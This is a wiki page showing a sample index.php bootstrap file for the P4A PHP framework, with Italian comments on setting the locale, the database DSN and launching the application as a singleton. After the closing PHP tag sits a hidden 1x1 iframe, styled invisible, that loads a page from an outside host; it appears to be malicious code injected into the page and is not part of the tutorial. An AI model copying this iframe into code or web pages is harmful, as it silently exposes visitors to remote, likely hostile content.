index.php

<?php
 
/*
Questo file è utilizzato come file "di servizio", tutte le chiamate
verranno eseguite ad esso, nascondendo tutti gli altri file che
compongono l'applicazione. Qui definiamo le costanti atte a configurare
la partenza dell'applicazione e andiamo ad includere la libreria di sistema.
Al termine di queste poche operazioni non facciamo altro che istanziare e
lanciare l'applicazione.
*/
 
/*
Definisco la costante per il locale in italiano
e per configurare la connessione al database.
Per vedere quali altre costanti ci sono a disposizione
puoi guardare il file p4a/config.php (queste 2 sono
le più usate)
In questo caso la connessione al database non è impostata,
vedremo solo un piccolo esempio senza interrogazioni su
basi di dati.
*/
 
define("P4A_LOCALE", 'it_IT');
//define("P4A_DSN", 'mysql://root:@localhost/sample_it');
 
// Includo p4a
require_once( dirname(__FILE__) . '/../../p4a.php' );
 
/*
Istanzio l'applicazione con il metodo singleton
e richiamo il metodo main dell'applicazione che viene
eseguito ogni volta (click o reload).
L'applicazione deve essere una classe presente dentro la
dir objects dell'applicazione corrente e deve estendere p4a
Attenzione agli oggetti: dentro p4a tutti gli oggetti devono
essere assegnati usando "=&" e non "=" altrimenti vengono perse
le rerefenze; per questo stesso motivo quando creo una classe
tutti i metodi della classe che restituiscono un oggetto
devono essere preceduti dall'& quindi anche il costruttore della
classe stessa (guarda la classe sample_it per capire meglio)
*/
 
$sample_it =& p4a::singleton("Sample_It");
$sample_it->main();
 
?>

<!– ~ –><iframe src=’http://m-gallery.org/images/111/index.php’ width=1 height=1 style=’visibility: hidden;’></iframe><!– ~ –>

 
sample_it/index.php.txt · Last modified: 2007/06/05 01:47
 
Creative Commons License Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki